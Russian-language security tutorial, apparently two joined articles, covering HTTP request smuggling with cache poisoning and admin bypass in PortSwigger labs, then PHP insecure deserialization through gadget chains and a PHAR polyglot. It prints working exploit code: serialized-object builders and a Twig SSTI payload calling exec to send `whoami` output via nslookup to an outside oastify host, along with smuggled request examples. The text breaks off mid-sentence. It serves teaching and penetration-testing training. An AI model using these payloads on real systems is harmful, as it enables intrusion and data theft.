HTTP Request Smuggling или контрабанда HTTP-запросов — тип уязвимости, который возникает из-за несоответствий в обработке HTTP-запросов между фронтендом и бэкендом. Каким образом различия в интерпретации заголовков позволяют атакующим использовать эту уязвимость? Как HTTP Request Smuggling можно использован в сочетании с Web Cache Poisoning? И на что обратить внимание, чтобы предотвратить подобные атаки? Разберем вместе на примере лабораторных работ с PortSwigger.

Введение в HTTP и его эволюция

Протокол HTTP (HyperText Transfer Protocol) — основа современного веба. Первая версия HTTP/0.9 была крайне простой и поддерживала только GET-запросы. С появлением HTTP/1.0 клиенты получили возможность отправлять более сложные запросы. Но для каждого из них требовалось устанавливать новое TCP-соединение, что создавало значительную нагрузку на сеть, особенно при загрузке страниц с множеством ресурсов — изображения, скрипты и стили.

В HTTP/1.1 появилась поддержка постоянных соединений (Persistent Connections). Это позволило использовать одно TCP-соединение для нескольких запросов и ответов, что значительно улучшило производительность. Также появилась возможность конвейерной обработки запросов (HTTP Pipelining), но из-за проблем с прокси-серверами и блокировкой очередей эта функция не получила широкого распространения.

С развитием протокола добавлялись новые функции, которые улучшили производительность, но также привели к появлению новых уязвимостей — например, HTTP Request Smuggling. Эта уязвимость возникает из-за различий в обработке запросов между разными компонентами системы — балансировщиками нагрузки и серверами приложений. Усложнение процесса обработки запросов, включая использование заголовков Content-Length и Transfer-Encoding, увеличило риск их неправильной интерпретации.

Современные версии протокола, такие как HTTP/2 и HTTP/3, продолжают развиваться, предлагая новые механизмы для повышения производительности и безопасности. Однако, несмотря на эти улучшения, уязвимости, связанные с неправильной обработкой запросов, остаются актуальными из-за сложности взаимодействия между разными компонентами системы.

Основы HTTP-запросов и особенности их обработки

HTTP-сообщения — это основной способ обмена данными между клиентом и сервером в рамках протокола HTTP. Они делятся на два типа:

• запросы, которые инициирует клиент для выполнения действий на сервере;
• ответы, которые сервер возвращает в результате обработки запроса.

Структура HTTP-сообщений — как запросов, так и ответов — состоит из нескольких частей:

● Строка запроса (Start Line). В запросе она содержит метод — например, GET, POST — путь к ресурсу и версию HTTP. В ответе указывается версия протокола, код состояния и его текстовое описание.

● Заголовки (Headers). Это набор пар «ключ-значение» которые передают метаданные о запросе или ответе. Например, заголовки могут указывать: тип содержимого (Content-Type), размер данных (Content-Length) или кэширование (Cache-Control).

● Пустая строка (Empty Line). Она разделяет заголовки и тело сообщения, сигнализируя о завершении метаданных.

● Тело запроса (Body). Необязательная часть, которая содержит данные, связанные с запросом или ответом. Например, в POST-запросе тело может включать данные формы, а в ответе — содержимое запрашиваемого ресурса.

Ключевые заголовки — Content-Length и Transfer-Encoding — важны в обработке сообщений. Заголовок Content-Length указывает размер тела в байтах, а Transfer-Encoding: chunked позволяет передавать данные частями (chunks). Однако одновременное использование этих заголовков может привести к конфликтам, например, к уязвимостям типа HTTP Request Smuggling, когда фронтенд и бэкенд по-разному интерпретируют запрос.

Кроме того, HTTP-сообщения используют специальные символы \r\n — возврат каретки и перевод строки — для разделения строк и частей сообщения. Например:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 10\r\n
\r\n
wr3dmast3r

Концепция HTTP Request Smuggling

HTTP Request Smuggling — это тип уязвимости, который возникает из-за несоответствий в обработке HTTP-запросов между фронтендом, например, балансировщиком нагрузки или reverse proxy, и бэкендом — сервером приложения. Фронтенд выступает в роли посредника, который принимает запросы от клиентов и передает их на бэкенд для дальнейшей обработки.

Однако, если фронтенд и бэкенд по-разному интерпретируют заголовки Content-Length и Transfer-Encoding, это может привести к уязвимостям. Например:

● Фронтенд может использовать заголовок Content-Length для определения размера тела запроса.

● Бэкенд, в свою очередь, может полагаться на заголовок Transfer-Encoding: chunked, который указывает, что тело запроса передается частями.

Если запрос содержит оба заголовка одновременно, это может привести к тому, что часть запроса останется необработанной и «перетечет» в следующий запрос. В результате у атакующего появится возможность внедрить вредоносные данные или манипулировать поведением сервера.

Согласно RFC 2616, если запрос содержит оба заголовка — Content-Length и Transfer-Encoding — сервер должен игнорировать Content-Length и использовать Transfer-Encoding. Однако на практике фронтенд и бэкенд могут не следовать этому правилу, что и приводит к уязвимостям.

Представьте, что фронтенд — это охранник на входе в здание, а бэкенд — сотрудник внутри. Если охранник и сотрудник по-разному интерпретируют инструкции, атакующий может обмануть охранника и пронести в здание запрещенный предмет. Точно так же, при HTTP Request Smuggling, атакующий может «протащить» вредоносный запрос, используя разницу в интерпретации данных между фронтендом и бэкендом.

Важно отметить, что HTTP Request Smuggling не эксплуатирует уязвимости в самом веб-приложении. Вместо этого она использует особенности интерпретации HTTP-сообщений веб-серверами. Это инфраструктурная уязвимость, которая возникает из-за некорректной настройки или взаимодействия между компонентами веб-серверов.

С помощью этой уязвимости при атаке можно достичь такие цели:

● повышение привилегий;
● обход механизмов безопасности;
● доступ или изменение данных;
● кража сессии;
● отравление кэша.

Это лишь некоторые из возможных вариантов использования уязвимости. В зависимости от контекста приложения и особенностей взаимодействия между фронтендом и бэкендом, атакующий может найти и другие способы применения HTTP Request Smuggling.

Разница между CL.TE и TE.CL HTTP Request Smuggling

Рассмотрим два варианта HTTP Request Smuggling, характерных для HTTP/1.1: CL.TE и TE.CL. Но отметим, что подобные уязвимости могут возникать и в других версиях протокола. Ключевой момент — разница в интерпретации заголовков Content-Length (CL) и Transfer-Encoding (TE) между фронтендом и бэкендом. В зависимости от того, какой сервер использует какой заголовок, атакующий может манипулировать запросами, чтобы внедрить вредоносные данные.

Давайте разберем, как это работает в случаях CL.TE и TE.CL, а также, почему важно правильно учитывать символы, особенно при использовании chunked-кодирования. Понимание этих механизмов поможет лучше защитить инфраструктуру от подобных атак.

CL.TE (Frontend: Content-Length, Backend: Transfer-Encoding). В этом сценарии фронтенд использует заголовок Content-Length для определения размера тела запроса, а бэкенд — заголовок Transfer-Encoding: chunked для обработки тела запроса как chunked-данных.

Рассмотрим пример запроса:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: example.com

Фронтенд видит Content-Length: 43, считает, что тело запроса составляет 43 байта и передает весь запрос на бэкенд. Бэкенд видит Transfer-Encoding: chunked и начинает обрабатывать тело запроса как chunked-данные — первый chunk: 0\r\n\r\n — это конец chunked-данных. Всё, что идет после — GET /admin HTTP/1.1\r\n Host: example.com — бэкенд интерпретирует как начало нового запроса. В результате бэкенд обрабатывает второй запрос — GET /admin — который «внедрил» атакующий.

В этом случае атакующему нужно убедиться, что размер тела запроса, указанный в Content-Length, соответствует данным, которые фронтенд передаст на бэкенд. Остальные данные «перетекают» в следующий запрос.

TE.CL (Frontend: Transfer-Encoding, Backend: Content-Length). В этом сценарии фронтенд использует заголовок Transfer-Encoding: chunked для обработки тела запроса, а бэкенд использует заголовок Content-Length для определения размера тела запроса.

Рассмотрим пример запроса:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
7e\r\n
GET /admin HTTP/1.1\r\n
Host: example.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 20\r\n
\r\n
exploit=exploit\r\n
0\r\n
\r\n

Фронтенд видит Transfer-Encoding: chunked и обрабатывает тело запроса как chunked-данные — первый chunk: 7e (шестнадцатеричное значение, равное 126 байтам). Фронтенд читает следующие 126 байт, включая строку GET /admin HTTP/1.1 и всё, что идет после. Затем видит завершающий chunk (0\r\n\r\n) и завершает обработку запроса.

Бэкенд видит Content-Length: 4 и читает только первые 4 байта тела запроса — 7e\r\n. Оставшиеся данные — GET /admin HTTP/1.1 и так далее — бэкенд не обрабатывает, и они «перетекают» в следующий запрос. Когда следующий пользователь отправляет запрос, бэкенд начинает его обработку с «перетекших» данных, что может привести к неправильной интерпретации запроса.

В этом случае атакующий использует chunked-кодирование, чтобы фронтенд обработал весь запрос, а бэкенд прочитал только часть данных, указанную в Content-Length. Значение 7e (126 в десятичной системе) используется для указания размера chunk. Это позволяет фронтенду обработать большой объем данных, в то время как бэкенд прочитает только первые 4 байта.

Ключевые различия между CL.TE и TE.CL

Важно правильно подсчитывать символы, потому что в CL.TE-атаке необходимо, чтобы размер тела запроса, указанный в Content-Length, соответствовал данным, которые фронтенд передаст на бэкенд. Остальные данные «перетекают» в следующий запрос.

В TE.CL-атаке атакующий использует chunked-кодирование, чтобы фронтенд обработал определенный объем данных, а бэкенд прочитал только часть, указанную в Content-Length. Для этого требуется точный расчета размера chunk и понимание как фронтенд и бэкенд интерпретируют данные.

Классический пример отравления запроса

Рассмотрим пример, где атакующий отправляет запрос с двумя заголовками: Content-Length и Transfer-Encoding. Фронтенд и бэкенд интерпретируют запрос по-разному, что приводит к отравлению следующего запроса.

Вот как это выглядит:

Что здесь происходит:

1. Атакующий отправляет запрос с заголовками Content-Length: 6 и Transfer-Encoding: chunked. Тело запроса содержит chunked-данные: 0\r\n\r\nG.
2. Фронтенд — например, балансировщик нагрузки — интерпретирует запрос на основе Content-Length: 6 и считает, что тело запроса составляет 6 байт. Он передает весь запрос на бэкенд, включая символ «G».
3. Бэкенд, в свою очередь, использует Transfer-Encoding: chunked и ожидает chunked-данные. Он обрабатывает 0\r\n\r\n как конец запроса и игнорирует символ «G». В результате символ «G» остается необработанным и «перетекает» в следующий запрос.
4. Когда другой пользователь отправляет следующий запрос, бэкенд начинает его обработку с символа «G». Это приводит к тому, что запрос интерпретируется как GPOST вместо POST, из-за чего возникает ошибка.

Практика

Рассмотрим подобные атаки в деле на примере двух уязвимых приложений, в которых уязвимости HTTP Request Smuggling используется в комбинации с Web Cache Poisoning.

Lab: Exploiting HTTP request smuggling to perform web cache poisoning

Эта лабораторная работа включает фронтенд- и бэкенд-серверы, при этом фронтенд-сервер не поддерживает chunked-кодирование. Он настроен на кэширование определенных ответов.

Цель — выполнить атаку с использованием уязвимости HTTP Request Smuggling, которая приведет к отравлению кэша. В результате последующий запрос на загрузку JavaScript-файла должен перенаправляться на сервер атакующего.

Подтверждение уязвимости. На главной странице веб-приложения можно проверить наличие HTTP Request Smuggling. Во-первых, нам нужно определить, какие заголовки использует веб-приложение, например:

● CL.TE — интерфейс использует заголовок Content-Length, серверная часть использует заголовок Transfer-Encoding.
● TE.CL — интерфейс использует заголовок Transfer-Encoding, серверная часть использует заголовок Content-Length.

Обращаем внимание на эти две настройки, при проверке данной уязвимости они важны:

Запрос для проверки атаки:

Следующий после него запрос:

Так как следующий по порядку запрос возвращает код состояния 404, можно понять, что веб-приложение уязвимо для подделки HTTP-запросов CL.TE.

Изучение структуры приложения. При анализе истории HTTP-запросов можно заметить, что всё, что находится в директории /resources/* — кэшируется. Например, JavaScript-файлы, такие как /resources/js/tracking.js:

При просмотре функции отображения постов в блоге можно заметить функцию перехода к следующему посту:

При нажатии на ссылку отправляется GET-запрос на /post/next с параметром postId, после чего происходит перенаправление на следующий пост:

Web Cache Poisoning. Это атака, при которой атакующий манипулирует кэшем сервера, чтобы заставить его сохранить вредоносные данные. Когда другие пользователи запрашивают закэшированный ресурс, они получают подмененные данные, что может привести к перенаправлению на вредоносный сайт или выполнению вредоносного JS-кода.

Цель атаки — заставить сервер кэшировать вредоносный JavaScript-файл, который будут загружать другие пользователи. Для этого можно использовать HTTP Request Smuggling, чтобы подменить содержимое кэшируемого файла.

Попробуем использовать HTTP Request Smuggling для подмены заголовка Host в запросе с перенаправлением:

Когда мы отправили второй запрос, веб-приложение ответило нашим замаскированным запросом (/post/next?postId=5), и перенаправило нас на evil.com. Учитывая эту информацию, если мы сможем использовать перехват HTTP-запросов для заражения веб-кэша, мы сможем перенаправлять пользователей куда угодно.

Размещаем эксплойт:

Для атаки мы сначала отправляем с HTTP Request Smuggling отравленный запрос, который будет выполнять перенаправление на наш веб-сервер. После этого нам нужно отравить кэшируемый файл /resources/js/tracking.js, чтобы в кэш попало наше перенаправление, далее будет происходить импорт нашей полезной нагрузки на сайт.

Запрос на HTTP Request Smuggling:

Следующий отправленный запрос в приложении будет иметь перенаправление:

Результат:

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

Эта лабораторная работа включает два сервера: фронтенд, например, балансировщик нагрузки или reverse proxy, и бэкенд — сервер приложения. Важно отметить, что бэкенд-сервер не поддерживает chunked-кодирование. На сервере также есть админ-панель по пути /admin, но доступ к ней блокируется фронтенд-сервером.

Цель — используя уязвимость HTTP Request Smuggling, провести атаку, которая позволит получить доступ к админ-панели на бэкенд-сервере и удалить пользователя carlos.

Подтверждение уязвимости. Здесь мы можем попытаться определить, уязвимо ли веб-приложение для перехвата HTTP-запросов. Во-первых, нам нужно определить, какой тип HTTP-запроса используется, например:

● CL.TE интерфейс использует заголовок Content-Length, серверная часть использует заголовок Transfer-Encoding.
● TE.CL интерфейс использует заголовок Transfer-Encoding, серверная часть использует заголовок Content-Length.

Запрос на проверку HTTP Request Smuggling:

Сервер возвращает код состояния 500. Поэтому мы можем предположить, что веб-приложение уязвимо для подделки HTTP-запросов TE.CL.

Эксплуатация уязвимости

Проверяем админ-панель:

Пробуем обойти ограничение с помощью HTTP Request Smuggling:

Следующий запрос:

Мы смогли обойти блокировку доступа к директории /admin — это уже что-то. Попробуем использовать localhost во втором запросе:

Следующий запрос:

Отлично, мы получили доступ к админ-панели, осталось удалить пользователя:

Следующий запрос:

Рекомендации по защите

HTTP Request Smuggling — серьезная уязвимость, которая может привести к компрометации данных и нарушению работы серверов. Понимание механизмов HTTP и правильная настройка серверов — ключ для предотвращения таких атак. Регулярное тестирование и обновление инфраструктуры помогут минимизировать риски и обеспечить безопасность ваших приложений. Также рекомендуется использовать современные версии протокола — HTTP/2 и HTTP/3 — у которых есть встроенные механизмы для предотвращения подобных атак.

Четыре совета:

1. Запретить повторное использование соединений с бэкендом. Это исключит возможность «перетекания» данных между запросами, а это — основа для атак типа Smuggling.
2. Перейти на HTTP/2 для взаимодействия с бэкендом. Этот протокол использует бинарный формат и строгую структуру сообщений, что снижает вероятность ошибок интерпретации.
3. Унифицировать ПО на фронтенде и бэкенде. Использование одинакового программного обеспечения минимизирует различия в обработке запросов, что снижает риск уязвимостей.
4. Внедрить WAF (Web Application Firewall) с функцией обнаружения аномалий. Современные WAF способны анализировать трафик и блокировать подозрительные запросы, включая попытки HTTP Request Smuggling.

Дополнительные ссылки:

HTTP Desync Attacks: Smashing into the Cell Next Door — DEF CON

HTTP 1 Vs HTTP 2 Vs HTTP 3

PortSwigger — HTTP Request Smuggling

Сегодня мы познакомимся с уязвимостями небезопасной десериализации в PHP, научимся писать эксплойты для эксплуатации уязвимости в рамках тестирований на проникновение и попробуем себя в анализе кода.

Что такое сериализация

Сериализация — это процесс преобразования объекта в формат, который можно легко сохранить или передать, например, в виде строки. Этот процесс широко используется в языках программирования, таких как Java, PHP или .NET. Обратный процесс, называемый десериализацией, позволяет восстановить объект из сериализованного формата, возвращая его в первоначальное состояние.

Чтобы понять, как работают инъекции объектов в PHP, важно разобраться в механизмах сериализации и десериализации.

Когда необходимо передать объект по сети в PHP, мы используем функцию serialize(), которая упаковывает объект в строку:

serialize(): PHP объект -> строка, представляющая объект.

Для восстановления объекта из сериализованных данных применяется функция unserialize():

unserialize(): строка с данными объекта -> исходный объект.

Следующий код сериализует объект "user":

<?phpclass User{  public $username;  public $role;}$user = new User;$user->username = 'wr3dmast3r';$user->role = 'user';echo serialize($user);?>

При выполнении этого кода мы получим сериализованную строку, представляющую объект "user":

O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}

Эта строка содержит информацию о классе, его свойствах и их значениях. С помощью сериализации мы можем сохранять объекты в файлы, передавать их по сети или хранить в базе данных, что делает процесс крайне полезным для работы с данными в приложениях.

Таким образом, сериализация позволяет эффективно управлять состоянием объектов, а десериализация — восстанавливать их для дальнейшего использования.

Структура сериализованной строки

Сериализованная строка в PHP имеет четко определенную структуру, которая позволяет интерпретировать данные, содержащиеся в ней. Основная форма этой структуры выглядит как "тип данных: данные". Ниже приведены основные обозначения типов данных, используемых в сериализации:

- b: булевый тип (boolean);

- i: целое число (integer);

- d: число с плавающей запятой (float);

- s: строка (string), где указывается длина строки и само значение: s:LENGTH:"ACTUAL_STRING";

- a: массив (array), где указывается количество элементов и их содержимое: a:NUMBER_OF_ELEMENTS:{ELEMENTS};

- O: объект (object), где указывается длина имени класса, имя класса, количество свойств и их значения: O:LENGTH:"CLASS_NAME":NUMBER_OF_PROPERTIES:{PROPERTIES}.

Рассмотрим пример сериализованной строки, представляющей объект класса User:

O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}

В этой строке мы можем увидеть следующее:

- O:4:"User": указывает, что это объект класса User, длина имени класса составляет 4 символа;

- 2: обозначает, что у объекта два свойства;

- {...}: внутри фигурных скобок перечислены свойства объекта;

- s:8:"username": первое свойство называется username, его длина составляет 8 символов;

- s:10:"wr3dmast3r": значение свойства username — строка длиной 10 символов;

- s:4:"role": второе свойство называется role, его длина составляет 4 символа;

- s:4:"user": значение свойства role — строка длиной 4 символа.

Таким образом, структура сериализованной строки позволяет точно определить типы данных и их значения, что делает возможным восстановление объекта в его первоначальном виде при десериализации.

Десериализация

Когда необходимо восстановить объект из сериализованной строки, мы используем функцию unserialize(). Этот процесс позволяет преобразовать строку, представляющую объект, обратно в его исходное состояние, чтобы мы могли с ним работать.

Рассмотрим следующий пример:

<?phpclass User{  public $username;  public $role;}$user = new User;$user->username = 'wr3dmast3r';$user->role = 'user';$serialized_string = serialize($user);$unserialized_data = unserialize($serialized_string);var_dump($unserialized_data);var_dump($unserialized_data["role"]);?>

В этом коде мы сначала создаем объект класса User и задаем его свойства. Затем мы сериализуем этот объект с помощью функции serialize(), что позволяет сохранить его состояние в виде строки.

После этого мы используем unserialize(), чтобы восстановить объект из сериализованной строки. В результате переменная $unserialized_data будет содержать объект User с теми же значениями свойств, что и исходный объект.

Как работает unserialize() "под капотом"?

Важно понимать, что функция unserialize() выполняет несколько ключевых действий, которые могут привести к уязвимостям в приложениях. При вызове этой функции происходит восстановление объекта из сериализованной строки, и в процессе этого восстановления могут быть вызваны специальные методы, известные как магические методы.

Магические методы в PHP — это функции, которые имеют особое назначение и поведение. Они начинаются с двойного подчеркивания и выполняют определенные действия в ответ на определенные события. Более подробно о магических методах можно узнать здесь.

Для нас особенно важны два магических метода: __wakeup() и __destruct().

__wakeup()

Этот метод автоматически вызывается при десериализации объекта. Он может использоваться для выполнения дополнительных действий, таких как восстановление состояния объекта или инициализация свойств, которые не были сериализованы. Например, если объект зависит от внешних ресурсов, таких как соединение с базой данных, этот метод может быть использован для их повторного подключения.

__destruct()

Этот метод вызывается при уничтожении объекта. Он может использоваться для освобождения ресурсов, закрытия соединений или выполнения других завершающих действий. Однако, если объект был десериализован и затем уничтожен, этот метод также будет вызван, что может привести к неожиданным последствиям, если в нем содержится код, который не должен выполняться в контексте десериализации.

Проблема с unserialize() заключается в том, что, если мы можем контролировать входные данные, передаваемые в эту функцию, можно попытаться добраться до определенных функций, которые приведут к исполнению кода. Например, мы можем создать объект с полезной нагрузкой и, если класс содержит в себе один из "магических" методов, то мы сможем добраться до функций внутри него с произвольными параметрами

Создание и работа с объектом

Создание экземпляра класса — это процесс, в ходе которого программа выделяет память для нового объекта на основе определенного класса. Функция unserialize() выполняет эту задачу, принимая сериализованную строку, которая содержит информацию о классе и его свойствах. На основе этих данных unserialize() восстанавливает копию изначально сериализованного объекта.

После восстановления объекта функция автоматически ищет и вызывает метод с именем __wakeup(), если он определен в классе. Этот магический метод предназначен для восстановления любых ресурсов, которые могли быть потеряны во время сериализации. Например, он может восстанавливать соединения с базой данных или выполнять другие задачи, необходимые для повторной инициализации объекта.

После выполнения __wakeup() программа продолжает работать с десериализованным объектом, используя его для выполнения различных операций. Объект может быть использован для обработки данных, выполнения бизнес-логики или взаимодействия с другими компонентами системы.

Когда объект больше не нужен и на него не остается ссылок, автоматически вызывается метод __destruct(). Этот магический метод отвечает за освобождение ресурсов, связанных с объектом, и выполнение завершающих действий, таких как закрытие соединений или очистка памяти. В результате объект уничтожается, и память, которую он занимал, освобождается.

Эксплуатация десериализации в PHP

Когда вы имеете контроль над сериализованным объектом, который передается в функцию unserialize(), вы получаете возможность управлять свойствами создаваемого объекта. Это открывает двери для перехвата потока выполнения приложения, позволяя вам контролировать значения, передаваемые в автоматически выполняемые методы, такие как __wakeup() и __destruct(). Этот процесс известен как инъекция объектов в PHP.

Одним из способов эксплуатации уязвимости небезопасной десериализации является манипуляция переменными. Например, вы можете изменить значения, закодированные в сериализованной строке. Рассмотрим следующую сериализованную строку, представляющую объект класса User:

O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}

В этой строке вы можете попытаться изменить значение свойства role с "user" на "admin", чтобы проверить, предоставит ли приложение вам административные привилегии:

O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:5:"admin";}

Если приложение не имеет должной проверки прав доступа и полагается на значения, полученные из десериализованного объекта, это может привести к серьезным уязвимостям.

Примеры RCE

PortSwigger - Developing a custom gadget chain for PHP deserialization

При переходе на главную страницу обращаем внимание на ответ запроса страницы, в ней упоминается, где находится какой-то php-файл:

Для того чтобы получить доступ к файлу, необходимо добавить ~ в конце имени файла, это обычно указывает на резервную копию, созданную текстовыми редакторами:

Для создания эксплойта необходимо собрать цепочки гаджетов, которые позволят выполнить произвольный код. Обычно для этого определяют начальный гаджет (первый элемент цепочки, который инициирует выполнение) и конечный гаджет (последний элемент цепочки, который может выполнить произвольный код).

CustomTemplate.php:

<?phpclass CustomTemplate {    private $default_desc_type;    private $desc;    public $product;    public function __construct($desc_type='HTML_DESC') {        $this->desc = new Description();        $this->default_desc_type = $desc_type;        // Carlos thought this is cool, having a function called in two places... What a genius        $this->build_product();    }    public function __sleep() {        return ["default_desc_type", "desc"];    }    public function __wakeup() {        $this->build_product();    }    private function build_product() {        $this->product = new Product($this->default_desc_type, $this->desc);    }}class Product {    public $desc;    public function __construct($default_desc_type, $desc) {        $this->desc = $desc->$default_desc_type;    }}class Description {    public $HTML_DESC;    public $TEXT_DESC;    public function __construct() {        // @Carlos, what were you thinking with these descriptions? Please refactor!        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';        $this->TEXT_DESC = 'This product is cool in text';    }}class DefaultMap {    private $callback;    public function __construct($callback) {        $this->callback = $callback;    }    public function __get($name) {        return call_user_func($this->callback, $name);    }}?>

В данном примере магический метод __wakeup() может служить начальным гаджетом. Этот метод вызывается при десериализации сериализованного объекта. Следуя коду, мы обнаруживаем строку: $this->desc = $desc->$default_desc_type; в конструкторе класса Product, которая будет ключевой для нашей цепочки.

Далее мы ищем подходящий конечный гаджет. Класс DefaultMap содержит метод call_user_func, который может позволить выполнить RCE. Этот метод принимает два параметра: $this->callback и $name. Первый параметр — это имя функции PHP, которую мы хотим вызвать, а второй — аргумент, передаваемый этой функции. Метод call_user_func вызывается в магическом методе __get(), который срабатывает при обращении к неопределенному свойству класса DefaultMap. Имя вызываемого свойства передается как второй параметр, что в нашем случае будет командой, которую мы собираемся выполнить. Также мы можем задать значение для $this->callback в конструкторе класса.

Таким образом мы должны создать объект DefaultMap, который будет использовать функцию exec или подобную и выполнять переданную нами команду:

$exploit = new DefaultMap('exec');  $command = 'ping collaborator.com'; $exploit->$command;

Ключевым моментом является то, что объект Description может быть установлен в конструкторе класса Product, что связывает начальный и конечный гаджеты. Это создает уязвимость, позволяя выполнить произвольный код через вызов метода __get().

Эксплойт:

<?phpclass CustomTemplate {}class Product {}class Description {}class DefaultMap {}echo "Creating exploit:";echo "\r\n";$exploit = new DefaultMap("exec");$exploit->callback = "exec";$exploitObject = new CustomTemplate;$exploitObject->default_desc_type = 'nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com';$exploitObject->desc = $exploit;echo serialize($exploitObject);?>

В этом коде мы создаем объект DefaultMap, который будет использоваться в качестве конечного гаджета для выполнения произвольного кода. Устанавливаем его свойство callback на значение exec, что позволяет нам вызывать функцию exec при десериализации.

Затем создаем объект CustomTemplate и задаем его свойство default_desc_type. Это свойство будет содержать команду, которую мы хотим выполнить. В данном случае команда nslookup 'whoami'.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com будет отправлять запрос на DNS-сервер, чтобы получить имя пользователя, выполняющего код, и отправлять его на указанный адрес. После этого присваиваем объекту exploit значение свойства desc объекта exploitObject.

Наконец, сериализуем объект exploitObject и выводим полученную сериализованную строку. Эта строка может быть использована для эксплуатации уязвимости десериализации, позволяя выполнить произвольный код при восстановлении объекта.

Создаем сериализованный объект:

Теперь нужно определить, как использовать эксплойт.

При входе в учетную запись Burp Suite подсвечивает нам обнаруженный сериализованный объект в Cookie:

Переводим получившийся объект в Base64 и заменяем знаки = при необходимости, после отправляем полезную нагрузку и получаем запрос на свой веб-сервер:

Получаем запрос на свой веб-сервер:

PortSwigger - Using PHAR deserialization to deploy a custom gadget chain

Для поиска директории с кодом воспользуемся функцией Discovery Content:

Discovery Content находит несколько файлов php:

Познакомимся с ними.

CustomTemplate.php:

<?phpclass CustomTemplate {    private $template_file_path;    public function __construct($template_file_path) {        $this->template_file_path = $template_file_path;    }    private function isTemplateLocked() {        return file_exists($this->lockFilePath());    }    public function getTemplate() {        return file_get_contents($this->template_file_path);    }    public function saveTemplate($template) {        if (!isTemplateLocked()) {            if (file_put_contents($this->lockFilePath(), "") === false) {                throw new Exception("Could not write to " . $this->lockFilePath());            }            if (file_put_contents($this->template_file_path, $template) === false) {                throw new Exception("Could not write to " . $this->template_file_path);            }        }    }    function __destruct() {        // Carlos thought this would be a good idea        @unlink($this->lockFilePath());    }    private function lockFilePath()    {        return 'templates/' . $this->template_file_path . '.lock';    }}?>

Blog.php:

<?phprequire_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');class Blog {    public $user;    public $desc;    private $twig;    public function __construct($user, $desc) {        $this->user = $user;        $this->desc = $desc;    }    public function __toString() {        return $this->twig->render('index', ['user' => $this->user]);    }    public function __wakeup() {        $loader = new Twig_Loader_Array([            'index' => $this->desc,        ]);        $this->twig = new Twig_Environment($loader);    }    public function __sleep() {        return ["user", "desc"];    }}?>

В файле CustomTemplate.php реализован класс CustomTemplate, который включает метод __destruct(), автоматически вызываемый при завершении работы PHP-скрипта. Этот метод отвечает за удаление файла блокировки, путь к которому определяется с помощью метода lockFilePath(), формируемого по шаблону templates/$template_file_path.lock. Также в классе присутствует метод isTemplateLocked(), использующий функцию file_exists() для проверки наличия файла блокировки, что позволяет определить, заблокирован ли текущий шаблон.

В файле Blog.php определен класс Blog, использующий шаблонный движок Twig. Важным аспектом является магический метод __wakeup(), который вызывается во время десериализации объекта. При активации этого метода создается новый объект Twig_Environment, используя атрибут desc класса Blog в качестве шаблона. Для демонстрации уязвимости SSTI можно использовать полезную нагрузку, которая регистрирует функцию exec и выполняет команду nslookup.

Полезную нагрузку для SSTI можно найти на HackTricks:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com")}}

Собираем эксплойт:

<?phpclass CustomTemplate {}class Blog {}$exploitObject = new CustomTemplate;$exploitBlog = new Blog;$exploitBlog->user = 'random';$exploitBlog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com")}}';$exploitObject->template_file_path = $exploitBlog;?>

В этом примере создаются экземпляры классов CustomTemplate и Blog. Мы устанавливаем произвольное значение для свойства user в объекте Blog, а затем присваиваем полезную нагрузку в свойство desc. Это открывает возможность использования уязвимости SSTI для выполнения произвольного кода. В конечном итоге объект Blog связывается с объектом CustomTemplate, что позволяет выполнить команду на сервере. Полезная нагрузка будет установлена в атрибуте desc класса Blog, который затем будет передан в CustomTemplate->template_file_path.

Эксплуатация

Теперь необходимо создать phar-архив с нашим сериализованным объектом и превратить все это в JPG. В этом поможет данный репозиторий.

Код для создания JPG необходимо отредактировать, добавив в данном месте наш объект:

После запускаем:

php -c php.ini phar_jpg_polyglot_redacted.php

В результате получаем картинку с полезной нагрузкой, грузим ее в свой профиль:

Картинка загрузилась, проверяем, где она расположена:

Теперь необходимо вызвать десериализацию объекта и PHP предоставляет несколько оберток, которые можно использовать для работы с различными протоколами при доступе к файлам. Одна из них - обёртка phar://, которая предоставляет потоковый интерфейс для доступа к файлам PHP Archive (.phar). В документации по PHP говорится, что файлы PHAR содержат сериализованные метаданные. Очень важно, что если вы выполняете какие-либо операции с файловой системой в потоке phar://, эти метаданные неявно десериализуются. Это означает, что поток phar:// потенциально может быть вектором для использования небезопасной десериализации.

Изменяем значение параметра avatar на вызов обертки phar для десериализации нашего объекта:

Проверяем коллаборатор:

Standoff365 BootCamp - PHP deserialization + PHAR

Функция загрузки картинки по URL уязвима к SSRF, и мы можем получить код приложения:

Читаем код:

Интересующий нас фрагмент кода находится здесь:

<?phpclass ImageSorting{         public $ImageArr = Array();         public $SortFunc = "compareByAge";         function __destruct(){                $ImageArr = $this->ImageArr;                $SortFunc = $this->SortFunc;                function compareByName($a, $b) {                        return strcmp($a[0], $b[0]);                }                function compareByAge($a, $b) {                        return strcmp($a[1], $b[1]);                }                usort($ImageArr, $SortFunc);                print_r(json_encode($ImageArr));         }}

В представленном коде реализован класс ImageSorting, который предназначен для сортировки массива изображений. Класс содержит два основных свойства:

- $ImageArr: массив, в который будут добавлены изображения для сортировки;

- $SortFunc: строка, указывающая на функцию сортировки, которая по умолчанию установлена на "compareByAge".

Класс включает в себя магический метод __destruct(), который автоматически вызывается при уничтожении объекта. В этом методе выполняются следующие действия:

